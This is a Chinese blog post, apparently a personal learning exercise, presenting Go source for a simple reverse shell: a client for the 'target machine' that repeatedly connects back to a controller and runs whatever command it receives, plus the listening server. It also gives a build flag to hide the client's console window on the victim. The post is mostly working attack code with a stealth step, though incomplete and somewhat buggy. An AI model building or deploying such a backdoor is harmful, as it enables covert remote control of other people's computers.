原理很简单,简单来说就是能远程执行windows命令,靶机主动连接我们的机器,只完成了一部分,能远程执行一段简单的命令(例如关机shutdown -p),理论上讲应该完成1、远程执行命令 2、命令执行结果发回来3、互相传输文件,感觉后面的没必要继续深究了,能完成第一个功能,后续的就是照猫画虎,边查边写就完了,没啥难度,不想写了,继续看golang的其他内容了,以后再有闲工夫再补上
靶机要执行的程序
client.go
package main
import (
"bytes"
"net"
"os/exec"
"strings"
"time"
)
const client = "127.0.0.1:5210"
// 读取数据
func main() {
/*
Listen: 返回在一个本地网络地址laddr上监听的Listener。网络类型参数net必须是面向流的网络: "tcp"、"tcp4"、"tcp6"、"unix"或"unixpacket"。
*/
//靶机尝试主动连接远程机器
connection := getConnection()
//把发送过来的数据读到定义的二进制数组中
buffer := readData2Buffer(connection)
//把发送过来的数据转成string数组
command := transferBuffer2Command(buffer)
//以windows命令的形式执行数组
execCommand(command)
}
func getInitBuffer() []byte {
return make([]byte, 1024)
}
func getConnection() net.Conn {
var conn net.Conn
for conn == nil {
conn, _ = net.DialTimeout("tcp", client, time.Second*2)
}
return conn
}
func readData2Buffer(conn net.Conn) []byte {
//for true {
buffer := getInitBuffer()
read, _ := conn.Read(buffer)
if read > 0 {
return buffer
}
return nil
}
func execCommand(strArr []string) {
command := exec.Command(strArr[0], strArr[1])
param := strArr[1:]
exec.Command(strArr[0], param...)
command.Start()
}
func transferBuffer2Command(srcByteArr []byte) []string {
//截掉二进制数组中多余的空值(如果不删掉空值,执行windows命令会出错)
indexByte := bytes.IndexByte(srcByteArr, 0)
aimArray := make([]byte, indexByte)
copy(aimArray, srcByteArr[0:indexByte])
//二进制数组转成字符串
aimStr := string(aimArray)
//以空格分割字符串,分割后的字符串数组第一个是windows命令,之后的是命令参数
return strings.Split(aimStr, " ")
}
server.go
package main
import (
"bufio"
"fmt"
"net"
"os"
)
const serverAddr = "127.0.0.1:5210"
func main() {
//监听端口获取连接
connection := listenPortAndGetConnection(serverAddr)
command := inputCommand()
writeData2Buffer(connection, command)
bytes := inputCommand()
fmt.Println(bytes)
}
func listenPortAndGetConnection(addr string) net.Conn {
listen, err := net.Listen("tcp", addr)
if err != nil {
fmt.Println("监听失败...")
}
accept, err := listen.Accept()
if err != nil {
fmt.Println("建立连接失败")
}
if accept != nil {
fmt.Println("建立连接成功!")
}
return accept
}
func writeData2Buffer(conn net.Conn, command []byte) {
fmt.Println("发送命令")
conn.Write(command)
}
func inputCommand() []byte {
input := bufio.NewReader(os.Stdin)
command, _, _ := input.ReadLine()
fmt.Println("读到命令:", string(command))
return command
}
如果要去掉client端的黑框,编译的时候加个参数就好
go build -i -ldflags="-H windowsgui" .\server.go
PS:
Java属于一次编译,处处运行,但需要靶机安装配置Java的运行环境,所以并不适合写这种玩具,C和C++则有个问题,如果你调用的API函数需要某些库,但靶机有可能并没有这个dll文件或者库,所以有可能无法运行。
go会把运行需要的整个库的代码都加载到编译后的程序里,所以编译后的程序会很大,编译速度会比较慢,但生成可执行程序之后,完全不需要配置任何环境就能运行
而且如果目标机器是Linux或者macOS,server端只需要在同样的 *** 作系统环境下编译生成可执行文件就能继续搞,client完全不需要换。
Java一次编译处处运行,Windows编译完成之后linux上也能跑,但需要安装环境,go则是写完代码处处编译,只要同样的环境(安装个虚拟机就好)编译生成文件,直接就能运行,各有利弊吧
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)